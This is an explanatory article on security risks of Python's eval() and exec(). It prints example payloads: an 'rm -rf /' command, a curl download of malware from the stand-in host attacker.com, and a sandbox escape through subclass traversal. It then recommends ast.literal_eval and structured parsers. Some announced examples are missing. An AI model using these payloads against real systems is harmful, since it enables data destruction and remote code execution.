Python eval and exec Security Risks

Python's eval() and exec() functions dynamically parse and execute strings as Python code, creating severe security vulnerabilities when exposed to untrusted input. Running user-supplied strings through these functions allows malicious actors to exploit the Python runtime, potentially leading to Remote Code Execution (RCE), full system compromise, sensitive data exfiltration, and denial of service. This article breaks down the specific security risks associated with eval() and exec(), demonstrates how attackers bypass naive restrictions, and presents secure alternatives.

Remote Code Execution (RCE)

The most critical danger of eval() and exec() is arbitrary code execution. Because these functions run arbitrary code with the same permissions as the hosting Python process, an attacker who can inject input into these functions effectively controls the application.

Using standard library modules, an attacker can interact directly with the underlying operating system:

# Malicious payload passed to eval() or exec()
__import__('os').system('rm -rf /')
__import__('subprocess').run(['curl', 'https://attacker.com/malware', '-o', 'malware.sh'])

Through these commands, an attacker can modify files, download malicious scripts, spawn reverse shells, or seize complete control of the host machine or container.

Sandbox Escapes and Built-in Traversal

Developers often attempt to secure eval() by sanitizing inputs or restricting the global namespace, such as executing code with empty globals:

eval(user_input, {"__builtins__": {}})

This approach provides a false sense of security. Python's object model allows an attacker to navigate the class hierarchy and recover restricted modules or built-in functions via reflection. For example:

# Traversing object subclasses to regain access to os.system or open
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'BuiltinImporter'][0]().load_module('os').system('id')

Because Python exposes its internal types and object relationships, creating an airtight sandbox using solely language-level restrictions is exceptionally difficult and routinely bypassed.

Data Exfiltration and Memory Exposure

When code executes inside eval() or exec(), it shares the scope in which it is invoked unless explicitly isolated. An attacker can inspect local and global variables to access sensitive runtime data:

Even when stdout is suppressed, attackers can exfiltrate stolen data through out-of-band channels, such as automated HTTP requests or DNS lookups.

Denial of Service (DoS)

Malicious inputs do not need to access the shell to cause damage. An attacker can inject instructions that consume excessive CPU or memory resources, crashing the Python process or rendering the entire server unresponsive.

Common DoS vectors include:

Safe Alternatives

To eliminate the risks of eval() and exec(), replace dynamic execution with purpose-built parsers and serializers:

  1. ast.literal_eval(): If you only need to parse Python literals (strings, numbers, tuples, lists, dicts, booleans, and None), use ast.literal_eval(). It rejects expressions containing operators, variable assignments, and function calls.
  2. Structured Formats: Use standard serialization formats like JSON, YAML, or Protocol Buffers to transfer structured data safely.
  3. Domain-Specific Parsers: If dynamic mathematical expressions must be evaluated, implement a parser using libraries such as pyparsing or abstract syntax tree (AST) visitors that explicitly whitelist allowed operators and reject function calls entirely.